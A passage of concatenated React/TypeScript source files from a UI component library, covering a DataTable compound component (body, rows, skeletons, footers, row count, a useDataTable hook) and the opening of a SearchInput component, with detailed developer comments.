grows\n   * the row instead of clipping. Default keeps the fixed height.\n   */\n  autoHeight?: boolean\n  /**\n   * Click anywhere on a row (except elements with `data-no-row-click`). Prefer\n   * `useCallback` to avoid breaking `React.memo` on rows.\n   */\n  onRowClick?: (item: T) => void\n  /**\n   * Turn each row into a `next/link` to the returned URL. Ignored if\n   * `onRowClick` is set. Prefer `useCallback` for the same reason.\n   */\n  rowHref?: (item: T) => string | null | undefined\n  /**\n   * Keep table height stable by padding with invisible rows when data is short.\n   * Typically set to the same value as `skeletonRows`. Pass `0` to disable.\n   */\n  minRows?: number\n  /**\n   * Render expandable content below a row, inside the same card. Return a node to\n   * attach it (the cells row gains a bottom divider), or null/undefined for none.\n   * Interactive content inside must carry `data-no-row-click`.\n   */\n  renderSubRow?: (item: T) => ReactNode\n}\n\n/**\n * Renders skeleton / empty state / rows based on table context state. Place\n * inside `<DataTable>`. Rows use `React.memo` for performance — memoize\n * `onRowClick` / `rowHref` / `rowClassName` (if function) with `useCallback`\n * in the consumer to get the full benefit.\n */\nexport function DataTableBody<T = any>({\n  loading,\n  emptyMessage,\n  emptyState,\n  skeletonRows = 10,\n  className,\n  rowClassName,\n  compact,\n  autoHeight,\n  onRowClick,\n  rowHref,\n  minRows,\n  renderSubRow,\n}: DataTableBodyProps<T>) {\n  const table = useDataTableContext<T>()\n  const rows = table.getRowModel().rows\n\n  if (loading && rows.length === 0) {\n    return (\n      <div className={cn('flex flex-col gap-[var(--spacing-system-xsf)] w-full', className)}>\n        <DataTableSkeleton rows={skeletonRows} />\n      </div>\n    )\n  }\n\n  if (rows.length === 0) {\n    return (\n      <div className={cn('flex flex-col gap-[var(--spacing-system-xsf)] w-full', className)}>\n        {emptyState ? (\n          <DataTableEmpty {...emptyState} />\n        ) : emptyMessage != null ? (\n          <DataTableEmpty title={emptyMessage} description={undefined} />\n        ) : (\n          <DataTableEmpty />\n        )}\n      </div>\n    )\n  }\n\n  const padCount = minRows ? Math.max(0, minRows - rows.length) : 0\n\n  return (\n    <div className={cn('flex flex-col gap-[var(--spacing-system-xsf)] w-full', className)}>\n      {rows.map((row, index) => {\n        const item = row.original\n        const href = rowHref?.(item) ?? undefined\n        const cls =\n          typeof rowClassName === 'function' ? rowClassName(item, index) : rowClassName\n        return (\n          <DataTableRow<T>\n            key={row.id}\n            row={row}\n            onClick={onRowClick}\n            href={href}\n            compact={compact}\n            autoHeight={autoHeight}\n            className={cls}\n            subRow={renderSubRow?.(item)}\n          />\n        )\n      })}\n      {padCount > 0 &&\n        Array.from({ length: padCount }).map((_, i) => (\n          <div\n            key={`placeholder-${i}`}\n            className=\"relative rounded-md overflow-hidden pointer-events-none\"\n            aria-hidden=\"true\"\n          >\n            <div\n              className={cn(\n                'hidden md:flex py-0',\n                ROW_SHELL_CLASSES,\n                ROW_HEIGHT_DESKTOP,\n              )}\n            />\n            <div\n              className={cn(\n                'flex md:hidden justify-start py-0',\n                ROW_SHELL_CLASSES,\n                ROW_HEIGHT_MOBILE,\n              )}\n            />\n          </div>\n        ))}\n    </div>\n  )\n}\n","'use client'\n\nimport { cn } from '../../../utils/cn'\nimport { SearchIcon } from '../../icons-v2-generated'\nimport { NoData, type NoDataProps } from '../no-data'\n\nexport interface DataTableEmptyProps extends NoDataProps {}\n\n/**\n * Empty state shown by `DataTable.Body` when there are no rows. Renders the\n * shared `NoData` empty state, centered, defaulting to a \"no search results\"\n * message (search icon, \"No results found\", \"Try adjusting your search or\n * filters\"). Every field can be overridden — pass any `NoData` prop\n * (icon/title/description/actions/buttonLabel/…).\n */\nexport function DataTableEmpty({ className, ...props }: DataTableEmptyProps) {\n  return (\n    <NoData\n      icon={<SearchIcon />}\n      title=\"No results found\"\n      description=\"Try adjusting your search or filters\"\n      {...props}\n      className={cn('py-[var(--spacing-system-xxl)]', className)}\n    />\n  )\n}\n","'use client'\n\nimport Link from '../../../embed-shims/next-link'\nimport React, { memo, useCallback, useRef, type ReactNode } from 'react'\nimport { flexRender, type Row } from '@tanstack/react-table'\nimport { cn } from '../../../utils/cn'\nimport { ROW_HEIGHT_DESKTOP, ROW_SHELL_CLASSES } from './data-table-skeleton'\nimport { alignJustify, getHideClasses } from './utils'\n\nexport interface DataTableRowProps<T> {\n  row: Row<T>\n  onClick?: (item: T) => void\n  href?: string | null\n  /** Dense row height. */\n  compact?: boolean\n  /**\n   * Treat the design row height as a minimum: a cell rendering multi-line\n   * content (e.g. a line-clamped description) grows the row instead of being\n   * clipped. Default keeps the fixed height.\n   */\n  autoHeight?: boolean\n  className?: string\n  /** Expandable content rendered below the cells, inside the same card. */\n  subRow?: ReactNode\n}\n\n/**\n * Click-bubbling protocol: any element inside a cell that should NOT trigger\n * `onRowClick` / row navigation must carry the `data-no-row-click` attribute.\n * The row checks `target.closest('[data-no-row-click]')` and short-circuits:\n * in `onClick` mode it skips the consumer's handler; in link mode (when\n * `href` is set) it calls `e.preventDefault()` so `<Link>` does not navigate.\n *\n * Clicks originating from portaled descendants (e.g. `FloatingTooltip`,\n * dropdown menus rendered through `FloatingPortal`) bubble through React's\n * component tree and reach this handler, but their DOM target lives outside\n * the row subtree. The handler ignores any click whose target is not\n * physically contained within the row element — no `stopPropagation`\n * required at the source.\n *\n * In link mode the row IS the `<Link>` — content lives inside it, not under\n * an absolute overlay — so native browser link behaviour works: hover,\n * right-click \"Open in new tab\", middle-click, `Cmd+click`, focus outlines,\n * `:visited` styles, etc.\n *\n * Example column with action buttons:\n * ```tsx\n * {\n *   id: 'actions',\n *   cell: ({ row }) => (\n *     <div data-no-row-click className=\"flex gap-2 justify-end\">\n *       <Button onClick={() => edit(row.original)}>Edit</Button>\n *     </div>\n *   ),\n *   enableSorting: false,\n *   meta: { width: 'w-[160px] shrink-0', align: 'right' },\n * }\n * ```\n *\n * Wrapped in `React.memo` — for best perf in long lists, pass stable references\n * for `onClick` and `className` (if function) via `useCallback` / `useMemo` in\n * the consumer. `href` and string `className` are compared by value.\n */\nfunction DataTableRowImpl<T>({\n  row,\n  onClick,\n  href,\n  compact,\n  autoHeight,\n  className,\n  subRow,\n}: DataTableRowProps<T>) {\n  const hasSubRow = subRow != null && subRow !== false\n  // A sub-row carries its own interactive controls, so it must not live inside the\n  // row-level <Link>; when present, the link wraps only the cells.\n  const isLinkMode = Boolean(href) && !onClick\n  const isWholeCardLink = isLinkMode && !hasSubRow\n  const containerRef = useRef<HTMLElement | null>(null)\n\n  const handleClick = useCallback(\n    (e: React.MouseEvent) => {\n      const target = e.target as HTMLElement\n      // React-bubbled events from portaled descendants (tooltips, dropdowns, etc.)\n      // reach this handler even though their DOM target lives outside the row.\n      // Suppress them — and in link mode, preventDefault so `<Link>` does not navigate.\n      if (!containerRef.current?.contains(target)) {\n        if (isLinkMode) e.preventDefault()\n        return\n      }\n      if (target.closest('[data-no-row-click]')) {\n        if (isLinkMode) e.preventDefault()\n        return\n      }\n      onClick?.(row.original)\n    },\n    [onClick, row.original, isLinkMode],\n  )\n\n  const containerClassName = cn(\n    'block rounded-md bg-ods-card border border-ods-border overflow-hidden no-underline text-inherit',\n    // With a sub-row the link wraps only the cells, so keep the clickable affordance off the whole card.\n    (onClick || isWholeCardLink) && 'cursor-pointer hover:bg-ods-bg-active transition-colors',\n    className,\n  )\n\n  const cells = (\n    <div\n      className={cn(\n        'flex',\n        ROW_SHELL_CLASSES,\n        compact\n          ? 'py-[var(--spacing-system-xsf)]'\n          : autoHeight\n            ? 'py-[var(--spacing-system-sf)] min-h-[66px] md:min-h-[78px]'\n            : `py-0 ${ROW_HEIGHT_DESKTOP}`,\n        hasSubRow && 'border-b border-ods-border',\n      )}\n    >\n      {row.getVisibleCells().map(cell => {\n        const meta = cell.column.columnDef.meta\n        return (\n          <div\n            key={cell.id}\n            className={cn(\n              'flex flex-col overflow-hidden',\n              alignJustify(meta?.align),\n              meta?.width || 'flex-1 min-w-0',\n              meta?.cellClassName,\n              getHideClasses(meta?.hideAt),\n            )}\n          >\n            <CellContent>\n              {flexRender(cell.column.columnDef.cell, cell.getContext())}\n            </CellContent>\n          </div>\n        )\n      })}\n    </div>\n  )\n\n  if (isWholeCardLink && href) {\n    return (\n      <Link\n        href={href}\n        prefetch={false}\n        ref={containerRef as React.RefObject<HTMLAnchorElement>}\n        className={containerClassName}\n        onClick={handleClick}\n      >\n        {cells}\n      </Link>\n    )\n  }\n\n  return (\n    <div\n      ref={containerRef as React.RefObject<HTMLDivElement>}\n      className={containerClassName}\n      onClick={onClick ? handleClick : undefined}\n    >\n      {isLinkMode && href ? (\n        <Link\n          href={href}\n          prefetch={false}\n          className=\"block no-underline text-inherit cursor-pointer hover:bg-ods-bg-active transition-colors\"\n          onClick={handleClick}\n        >\n          {cells}\n        </Link>\n      ) : (\n        cells\n      )}\n      {hasSubRow && subRow}\n    </div>\n  )\n}\n\nexport const DataTableRow = memo(DataTableRowImpl) as typeof DataTableRowImpl\n\n/** Wraps primitive string/number cell values in the default text style. */\nfunction CellContent({ children }: { children: ReactNode }) {\n  if (typeof children === 'string' || typeof children === 'number') {\n    return (\n      <span className=\"text-h4 text-ods-text-primary truncate\" title={String(children)}>{children}</span>\n    )\n  }\n  return <>{children}</>\n}\n","'use client'\n\nimport { cn } from '../../../utils/cn'\nimport { useDataTableContext } from './data-table'\nimport { getHideClasses } from './utils'\n\n/**\n * Consistent INNER row heights. The row card wraps these in a 1px border on\n * each side, so the outer block lands on the designed 68px / 80px total —\n * hence the 66/78 values here.\n */\nexport const ROW_HEIGHT_DESKTOP = 'h-[66px] md:h-[78px]'\nexport const ROW_HEIGHT_MOBILE = 'h-[66px]'\n\n/**\n * The row shell's inset and column gap.\n *\n * Shared by the real row (`data-table-row`), the skeleton rows below and the\n * pad rows in `data-table-body`, because a difference between them is a visible\n * shift on load — and there WAS one: all three placeholders used\n * `--spacing-system-sf` (12px) in their mobile variant while the real row uses\n * `--spacing-system-mf` (16px) at every width, so a loading table sat 4px closer\n * to the card edge than the loaded one and its content nudged over when data\n * arrived. Kept as a constant rather than three copies so that cannot drift again.\n */\nexport const ROW_SHELL_CLASSES = 'items-center gap-[var(--spacing-system-mf)] px-[var(--spacing-system-mf)]'\n\nexport interface DataTableSkeletonProps {\n  rows?: number\n  className?: string\n  rowClassName?: string\n}\n\nexport function DataTableSkeleton({\n  rows = 10,\n  className,\n  rowClassName,\n}: DataTableSkeletonProps) {\n  const table = useDataTableContext()\n  const columns = table.getVisibleFlatColumns()\n  const firstColumnId = columns[0]?.id\n\n  return (\n    <>\n      {Array.from({ length: rows }).map((_, index) => (\n        <div\n          key={index}\n          className={cn(\n            'relative rounded-md bg-ods-card border border-ods-border overflow-hidden animate-pulse',\n            className,\n          )}\n        >\n          <div\n            className={cn(\n              'hidden md:flex py-0',\n              ROW_SHELL_CLASSES,\n              ROW_HEIGHT_DESKTOP,\n              rowClassName,\n            )}\n          >\n            {columns.map(column => {\n              const meta = column.columnDef.meta\n              return (\n                <div\n                  key={column.id}\n                  className={cn(\n                    'flex flex-col justify-center shrink-0',\n                    meta?.width || 'flex-1',\n                    // Same responsive hiding the real header and row apply.\n                    // Without it a `hideAt` column was drawn in the skeleton and\n                    // absent from the loaded table, so below that breakpoint the\n                    // remaining columns were sized against a different total and\n                    // the whole row re-laid-out the moment data arrived.\n                    getHideClasses(meta?.hideAt),\n                  )}\n                >\n                  <div className=\"h-5 bg-ods-bg-surface rounded-sm w-3/4 mb-[var(--spacing-system-xxs)]\" />\n                  {index % 2 === 0 && column.id === firstColumnId && (\n                    <div className=\"h-4 bg-ods-bg-surface rounded-sm w-1/2 opacity-60\" />\n                  )}\n                </div>\n              )\n            })}\n          </div>\n          <div\n            className={cn(\n              'flex md:hidden justify-start py-0',\n              ROW_SHELL_CLASSES,\n              ROW_HEIGHT_MOBILE,\n              rowClassName,\n            )}\n          >\n            <div className=\"flex-1 flex flex-col justify-center min-w-0 py-[var(--spacing-system-sf)]\">\n              <div className=\"h-4 bg-ods-bg-surface rounded-sm w-3/4 mb-[var(--spacing-system-xsf)]\" />\n              <div className=\"h-3 bg-ods-bg-surface rounded-sm w-1/2 opacity-60\" />\n            </div>\n          </div>\n        </div>\n      ))}\n    </>\n  )\n}\n","'use client'\n\nimport { useEffect, useRef } from 'react'\nimport { DataTableSkeleton } from './data-table-skeleton'\n\nexport interface DataTableInfiniteFooterProps {\n  hasNextPage: boolean\n  isFetchingNextPage: boolean\n  onLoadMore: () => void\n  /** Skeleton rows shown while fetching. Default `3`. */\n  skeletonRows?: number\n  /** `IntersectionObserver` rootMargin. Default `'200px'`. */\n  rootMargin?: string\n}\n\n/**\n * Infinite-scroll trigger for a `DataTable`. Place after `<DataTable.Body>`.\n * When the sentinel intersects the viewport, calls `onLoadMore`.\n */\nexport function DataTableInfiniteFooter({\n  hasNextPage,\n  isFetchingNextPage,\n  onLoadMore,\n  skeletonRows = 3,\n  rootMargin = '200px',\n}: DataTableInfiniteFooterProps) {\n  const sentinelRef = useRef<HTMLDivElement>(null)\n  const onLoadMoreRef = useRef(onLoadMore)\n  onLoadMoreRef.current = onLoadMore\n\n  useEffect(() => {\n    if (!hasNextPage || isFetchingNextPage) return\n    const sentinel = sentinelRef.current\n    if (!sentinel) return\n    const observer = new IntersectionObserver(\n      entries => {\n        if (entries[0]?.isIntersecting) onLoadMoreRef.current()\n      },\n      { rootMargin },\n    )\n    observer.observe(sentinel)\n    return () => observer.disconnect()\n  }, [hasNextPage, isFetchingNextPage, rootMargin])\n\n  return (\n    <>\n      {isFetchingNextPage && <DataTableSkeleton rows={skeletonRows} />}\n      {hasNextPage && (\n        <div ref={sentinelRef} className=\"h-1\" aria-hidden=\"true\" />\n      )}\n    </>\n  )\n}\n","'use client'\n\nimport { cn } from '../../../utils/cn'\nimport { CursorPagination, type CursorPaginationProps } from '../cursor-pagination'\nimport { useDataTableContext } from './data-table'\n\nexport interface DataTableCursorFooterProps\n  extends Omit<CursorPaginationProps, 'currentCount'> {\n  /**\n   * Override the shown current count. Defaults to the number of currently rendered rows\n   * from the table instance.\n   */\n  currentCount?: number\n}\n\n/**\n * Cursor-based prev/next footer for a `DataTable`. Place after `<DataTable.Body>`.\n * Thin wrapper around `<CursorPagination>` with a border-top separator to match the legacy `Table` look.\n */\nexport function DataTableCursorFooter({\n  className,\n  currentCount,\n  showInfo,\n  ...rest\n}: DataTableCursorFooterProps) {\n  const table = useDataTableContext()\n  const rowsCount = table.getRowModel().rows.length\n\n  return (\n    <CursorPagination\n      {...rest}\n      currentCount={currentCount ?? rowsCount}\n      showInfo={showInfo ?? true}\n      className={cn('border-t border-ods-border pt-[var(--spacing-system-sf)] mt-[var(--spacing-system-xsf)]', className)}\n    />\n  )\n}\n","'use client'\n\nimport { cn } from '../../../utils/cn'\nimport { useDataTableContext } from './data-table'\n\nexport interface DataTableRowCountProps {\n  /** Singular item name. Pluralized by adding an \"s\". */\n  itemName?: string\n  /**\n   * Override the count. Use this for server-paginated tables where the table\n   * context only knows about loaded rows, not the total. Defaults to the\n   * number of rows currently in the table's row model.\n   */\n  totalCount?: number\n  /** Custom pluralizer for irregular nouns. */\n  pluralize?: (count: number, itemName: string) => string\n  /** Hide when the count is zero. Default `true`. */\n  hideWhenEmpty?: boolean\n  className?: string\n}\n\n/**\n * Renders \"8 devices\" (or your custom `itemName`) for the current row model.\n * Place wherever you want — above the table, in a toolbar, in a header right\n * slot.\n *\n * For server-paginated tables, pass `totalCount` explicitly — the table\n * context only knows about loaded rows.\n *\n * @example\n * <DataTable.Header rightSlot={\n *   <DataTable.RowCount itemName=\"device\" totalCount={pageInfo.total} />\n * } />\n */\nexport function DataTableRowCount({\n  itemName = 'result',\n  totalCount,\n  pluralize,\n  hideWhenEmpty = true,\n  className,\n}: DataTableRowCountProps) {\n  const table = useDataTableContext()\n  const count = totalCount ?? table.getRowModel().rows.length\n\n  if (hideWhenEmpty && count === 0) return null\n\n  const label =\n    pluralize?.(count, itemName) ??\n    (count === 1 ? itemName : `${itemName}s`)\n\n  return (\n    <span\n      className={cn(\n        'text-h6 text-ods-text-secondary whitespace-nowrap',\n        className,\n      )}\n    >\n      {count} {label}\n    </span>\n  )\n}\n","'use client'\n\nimport {\n  getCoreRowModel,\n  getFilteredRowModel,\n  getSortedRowModel,\n  useReactTable,\n  type Table,\n  type TableOptions,\n} from '@tanstack/react-table'\n// Ensure ColumnMeta augmentation is loaded whenever useDataTable is used.\nimport './types'\n\n// Row-model factories are pure and safe to instantiate once per module.\n// Calling them inside render creates a new memoized getter on every render\n// whose internal cache is thrown away, causing avoidable row-model recomputes.\nconst coreRowModelFactory = getCoreRowModel<any>()\nconst sortedRowModelFactory = getSortedRowModel<any>()\nconst filteredRowModelFactory = getFilteredRowModel<any>()\n\nexport interface UseDataTableOptions<T>\n  extends Omit<TableOptions<T>, 'getCoreRowModel'> {\n  /**\n   * Enable client-side sorting via `getSortedRowModel`.\n   * Default `false` — server sorts, TanStack only stores sort state.\n   */\n  clientSideSorting?: boolean\n  /**\n   * Enable client-side filtering via `getFilteredRowModel`.\n   * Default `false` — server filters, TanStack only stores filter state.\n   */\n  clientSideFiltering?: boolean\n}\n\n/**\n * Thin wrapper around `useReactTable` with sensible defaults for our\n * server-driven (Relay/REST) pagination setup. Turn on `clientSideSorting` /\n * `clientSideFiltering` for fully client-side tables.\n *\n * Row-model factories (`getCoreRowModel`, `getSortedRowModel`,\n * `getFilteredRowModel`) are instantiated once at module load instead of on\n * every render, preserving TanStack's internal row-model caches.\n *\n * ## Reference-stability contract (consumer's responsibility)\n *\n * TanStack tracks several options by reference. This hook just forwards them,\n * so the rules below apply unchanged. Each row covers a different cache layer\n * inside `useReactTable`:\n *\n * | Option                                  | Inline literal OK? | Why                                                                                          |\n * | --------------------------------------- | ------------------ | -------------------------------------------------------------------------------------------- |\n * | `data`                                  | NO — `useMemo`     | Core row-model memo is keyed on `data` ref. New ref ⇒ full row-model rebuild every render.   |\n * | `columns`                               | NO — `useMemo`     | Column model is keyed on `columns` ref. Most expensive rebuild of all.                       |\n * | `getRowId`                              | recommended `useCallback` | Called during row-model construction. Safe with stable `data`, but inline costs nothing to fix. |\n * | `state` (the wrapper object)            | YES                | TanStack reads sub-fields, never compares the wrapper. Build it inline freely.               |\n * | `state.sorting`, `state.columnFilters`, `state.pagination`, etc. | NO — must be stable | Per-feature memos compare sub-field refs. Unstable sub-field ⇒ feature recomputes each render. |\n * | `onSortingChange`, `onColumnFiltersChange`, other `onXChange` callbacks | YES | Invoked, never compared. Inline arrows are fine.                                              |\n * | `meta`, `defaultColumn`                 | recommended memo   | Read on every cell render. Inline objects don't break correctness but defeat row `React.memo`. |\n *\n * ### Common upstream pitfalls that break the contract\n *\n * - `query.data ?? []` or `query.data ?? new Map()` in a hook return — the\n *   fallback is a fresh reference every render. Hoist the empty fallback to\n *   module scope as a frozen singleton.\n * - `Object.entries(urlParams).map(...)` in render — wrap in `useMemo` keyed\n *   on the source. `useApiParams` already returns reference-stable arrays for\n *   array-typed fields, so deps can name `params.tier` directly.\n * - Building `state` from a value that's recomputed inside the same render\n *   (e.g. `state={{ sorting: [{ id: sortKey, desc: false }] }}`) — memoise\n *   the array, not just the wrapper.\n *\n * ### Minimal correct usage\n *\n * ```ts\n * const data = useMemo(() => rows.map(toUi), [rows])\n * const columns = useMemo<ColumnDef<Row>[]>(() => [...], [])\n * const getRowId = useCallback((row: Row) => row.id, [])\n * const sorting = useMemo(() => [{ id: sortKey, desc: sortDesc }], [sortKey, sortDesc])\n *\n * const table = useDataTable({\n *   data,\n *   columns,\n *   getRowId,\n *   state: { sorting },           // wrapper inline — sub-field stable\n *   onSortingChange: handleSort,  // can be inline; memoise only if it goes\n *                                 // into another component's deps\n * })\n * ```\n */\nexport function useDataTable<T>({\n  clientSideSorting = false,\n  clientSideFiltering = false,\n  manualSorting,\n  manualFiltering,\n  getSortedRowModel: getSortedRowModelOverride,\n  getFilteredRowModel: getFilteredRowModelOverride,\n  ...rest\n}: UseDataTableOptions<T>): Table<T> {\n  return useReactTable<T>({\n    ...rest,\n    getCoreRowModel: coreRowModelFactory as TableOptions<T>['getCoreRowModel'],\n    getSortedRowModel: clientSideSorting\n      ? getSortedRowModelOverride ??\n        (sortedRowModelFactory as TableOptions<T>['getSortedRowModel'])\n      : getSortedRowModelOverride,\n    getFilteredRowModel: clientSideFiltering\n      ? getFilteredRowModelOverride ??\n        (filteredRowModelFactory as TableOptions<T>['getFilteredRowModel'])\n      : getFilteredRowModelOverride,\n    manualSorting: manualSorting ?? !clientSideSorting,\n    manualFiltering: manualFiltering ?? !clientSideFiltering,\n  })\n}\n","// Load ColumnMeta augmentation so consumers get typed `meta`.\nimport './types'\n\nimport { DataTableRoot } from './data-table'\nimport { DataTableHeader } from './data-table-header'\nimport { DataTableBody } from './data-table-body'\nimport { DataTableRow } from './data-table-row'\nimport { DataTableSkeleton } from './data-table-skeleton'\nimport { DataTableEmpty } from './data-table-empty'\nimport { DataTableInfiniteFooter } from './data-table-infinite-footer'\nimport { DataTableCursorFooter } from './data-table-cursor-footer'\nimport { DataTableRowCount } from './data-table-row-count'\n\n/**\n * Compound table primitive. Use `useDataTable` to build the table instance,\n * then compose `<DataTable>` + `<DataTable.Header/>` + `<DataTable.Body/>`\n * + `<DataTable.InfiniteFooter/>` or `<DataTable.CursorFooter/>` as needed.\n *\n * @example\n * const table = useDataTable({ data, columns, ... })\n * <DataTable table={table} className={...}>\n *   <DataTable.Header stickyHeader stickyHeaderOffset=\"top-[56px]\" />\n *   <DataTable.Body loading={isLoading} rowHref={d => `/devices/${d.id}`} />\n *   <DataTable.InfiniteFooter hasNextPage={hasNext} isFetchingNextPage={isLoadingNext} onLoadMore={() => loadNext(50)} />\n * </DataTable>\n */\nexport const DataTable = Object.assign(DataTableRoot, {\n  Header: DataTableHeader,\n  Body: DataTableBody,\n  Row: DataTableRow,\n  Skeleton: DataTableSkeleton,\n  Empty: DataTableEmpty,\n  InfiniteFooter: DataTableInfiniteFooter,\n  CursorFooter: DataTableCursorFooter,\n  RowCount: DataTableRowCount,\n})\n\n// Also export each piece by name for consumers that prefer named imports.\nexport {\n  DataTableRoot,\n  DataTableHeader,\n  DataTableBody,\n  DataTableRow,\n  DataTableSkeleton,\n  DataTableEmpty,\n  DataTableInfiniteFooter,\n  DataTableCursorFooter,\n  DataTableRowCount,\n}\n\nexport { useDataTableContext } from './data-table'\nexport { useDataTable } from './use-data-table'\nexport { ROW_HEIGHT_DESKTOP, ROW_HEIGHT_MOBILE, ROW_SHELL_CLASSES } from './data-table-skeleton'\nexport { alignJustify, getHideClasses, multiSelectFilterFn } from './utils'\n\nexport type { DataTableFilterOption, TailwindBreakpoint } from './types'\nexport type { DataTableProps } from './data-table'\nexport type { DataTableHeaderProps, DataTableSortState } from './data-table-header'\nexport type { DataTableBodyProps } from './data-table-body'\nexport type { DataTableRowProps } from './data-table-row'\nexport type { DataTableSkeletonProps } from './data-table-skeleton'\nexport type { DataTableEmptyProps } from './data-table-empty'\nexport type { DataTableInfiniteFooterProps } from './data-table-infinite-footer'\nexport type { DataTableCursorFooterProps } from './data-table-cursor-footer'\nexport type { DataTableRowCountProps } from './data-table-row-count'\nexport type { UseDataTableOptions } from './use-data-table'\n\n// Re-export commonly needed TanStack Table primitives so consumers don't need\n// a second dependency import line.\nexport {\n  flexRender,\n  createColumnHelper,\n  getCoreRowModel,\n  getExpandedRowModel,\n  getFacetedRowModel,\n  getFacetedUniqueValues,\n  getFilteredRowModel,\n  getGroupedRowModel,\n  getPaginationRowModel,\n  getSortedRowModel,\n} from '@tanstack/react-table'\n\nexport type {\n  CellContext,\n  Column,\n  ColumnDef,\n  ColumnFiltersState,\n  ColumnHelper,\n  ColumnSort,\n  HeaderContext,\n  OnChangeFn,\n  Row,\n  RowSelectionState,\n  SortingState,\n  Table as DataTableInstance,\n  TableOptions,\n  VisibilityState,\n} from '@tanstack/react-table'\n","\"use client\"\n\nimport * as PopoverPrimitive from \"@radix-ui/react-popover\"\nimport * as ScrollAreaPrimitive from \"@radix-ui/react-scroll-area\"\nimport * as React from \"react\"\nimport { cn } from \"../../utils/cn\"\nimport { useDebounce } from \"../../hooks/ui/use-debounce\"\nimport { useAutoLimitTags } from \"../../hooks/ui/use-auto-limit-tags\"\nimport { useKeyboardCollisionPadding } from \"../../hooks/ui/use-keyboard-collision-padding\"\nimport { SearchIcon } from \"../icons-v2-generated\"\nimport { XmarkCircleIcon } from \"../icons-v2-generated/signs-and-symbols/xmark-circle-icon\"\nimport { Tag } from \"./tag\"\nimport { HiddenTagsPopup } from \"./hidden-tags-popup\"\n\n// ---------------------------------------------------------------------------\n// Types\n// ---------------------------------------------------------------------------\n\nexport interface SearchResult {\n  id: string\n  title: string\n  description?: string\n  path?: string\n  type?: string\n  icon?: React.ReactNode\n  metadata?: Record<string, unknown>\n}\n\nexport interface FilterChipData {\n  id: string\n  label: string\n  variant?: \"selected\" | \"category\" | \"subcategory\" | \"tag\"\n}\n\nexport interface SearchInputProps {\n  /** Placeholder text shown in the input */\n  placeholder?: string\n  /** Controlled value */\n  value?: string\n  /** Default value for uncontrolled mode */\n  defaultValue?: string\n  /** Called when input value changes (raw, not debounced) */\n  onChange?: (value: string) => void\n  /** Called when user presses Enter */\n  onSubmit?: (value: string) => void\n  /** Search results to display in the dropdown */\n  results?: SearchResult[]\n  /** Whether results are loading */\n  isLoading?: boolean\n  /** Called when a result row is selected.\n   *\n   *  `modifiers` carries the click event's modifier-key state when the\n   *  user picked the row via mouse — pass through so the consumer can\n   *  honor cmd/ctrl/shift/middle-click for background-tab navigation\n   *  (the row is a `<div role=\"option\">` rather than an `<a>`, so the\n   *  browser doesn't background-tab natively even with `target=\"_blank\"`).\n   *  Empty `{}` when the row was selected via keyboard Enter. */\n  onResultSelect?: (\n    result: SearchResult,\n    modifiers?: { metaKey?: boolean; ctrlKey?: boolean; shiftKey?: boolean; altKey?: boolean; button?: number },\n  ) => void\n  /** Debounce delay in ms. 0 disables debounce. Default 300 */\n  debounceMs?: number\n  /** Custom renderer for a single result row */\n  renderResult?: (result: SearchResult, isHighlighted: boolean) => React.ReactNode\n  /** Group results by a key derived from each result */\n  groupBy?: (result: SearchResult) => string\n  /** Text shown when query meets minQueryLength but no results */\n  emptyResultsText?: string\n  /** Force-control dropdown visibility. Default: auto */\n  showDropdown?: boolean\n  /** Filter chips rendered inline before the input */\n  filterChips?: FilterChipData[]\n  /** Called when a filter chip is removed */\n  onFilterRemove?: (id: string) => void\n  /** Element rendered before the input. Default: SearchIcon */\n  startAdornment?: React.ReactNode\n  /** Element rendered after the input */\n  endAdornment?: React.ReactNode\n  /** Extra class names for the outer container */\n  className?: string\n  /** Extra class names for the dropdown */\n  dropdownClassName?: string\n  /** Minimum characters before showing results. Default 2 */\n  minQueryLength?: number\n  /** Maximum visible filter chips. \"auto\" measures available width. Default \"auto\" */\n  limitTags?: number | \"auto\"\n  /** Custom render for the \"+N\" overflow text */\n  getLimitTagsText?: (more: number) => React.ReactNode\n}\n\n// ---------------------------------------------------------------------------\n// Shared styles (consistent with Autocomplete / Input)\n// ---------------------------------------------------------------------------\n\nconst containerStyles = cn(\n  // Layout & spacing — matches lib Input component\n  \"flex items-center gap-2 rounded-[6px] border px-3 h-11 md:h-12 cursor-text\",\n  \"has-[:focus-visible]:outline-none\",\n  \"group\",\n  \"transition-colors duration-200\",\n  // Theme palette — matches lib Input component\n  \"bg-ods-card border-ods-border has-[:focus]:border-ods-accent\"\n)\n\nconst innerInputStyles = cn(\n  \"flex-1 min-w-[60px] bg-transparent border-none outline-none\",\n  \"text-h4\",\n  \"text-ods-text-primary placeholder:text-ods-text-secondary\",\n  // Disabled - match Input exactly (value greys out, placeholder dims further)\n  \"disabled:cursor-not-allowed disabled:text-ods-text-disabled disabled:placeholder:text-ods-border\",\n  \"touch-manipulation\"\n)\n\n// ---------------------------------------------------------------------------\n// Helper: chip variant → Tag variant mapping\n// ---------------------------------------------------------------------------\n\nfunction chipVariantToTagVariant(variant?: FilterChipData[\"variant\"]): \"primary\" | \"outline\" | \"badge\" {\n  switch (variant) {\n    case \"selected\":\n      return \"primary\"\n    // Content tags render with the unified badge skin (ods-card + ods-border,\n    // mono uppercase) — identical to the public EntityTagBadges display.\n    case \"tag\":\n      return \"badge\"\n    case \"category\":\n    case \"subcategory\":\n    default:\n      return \"outline\"\n  }\n}\n\n// ---------------------------------------------------------------------------\n// Component\n// ---------------------------------------------------------------------------\n\nexport function SearchInput({\n  placeholder = \"Search...\",\n  value,\n  defaultValue = \"\",\n  onChange,\n  onSubmit,\n  results = [],\n  isLoading = false,\n  onResultSelect,\n  debounceMs = 300,\n  renderResult,\n  groupBy,\n  emptyResultsText = \"No results found\",\n  showDropdown: showDropdownProp,\n  filterChips = [],\n  onFilterRemove,\n  startAdornment,\n  endAdornment,\n  className,\n  dropdownClassName,\n  minQueryLength = 2,\n  limitTags = \"auto\",\n  getLimitTagsText = (more: number) => `+${more}`,\n}: SearchInputProps) {\n  // ---- Controlled / uncontrolled ----\n  const [internalValue, setInternalValue] = React.useState(defaultValue)\n  const currentValue = onChange ? (value ?? \"\") : internalValue\n\n  // ---- Debounce ----\n  const debouncedValue = useDebounce(currentValue, debounceMs)\n\n  // ---- Popover state ----\n  const [isOpen, setIsOpen] = React.useState(false)\n  const [highlightedIndex, setHighlightedIndex] = React.useState(-1)\n  const keyboardPadding = useKeyboardCollisionPadding()\n\n  const containerRef = React.useRef<HTMLDivElement>(null)\n\n  // ---- Auto-limit tags ----\n  const currentPlaceholder = filterChips.length > 0 ? \"Add filter...\" : placeholder\n\n  const {\n    visibleCount: rawVisibleCount, middleRef, measureRef, textMeasureRef, badgeRef, inputRef,\n  } = 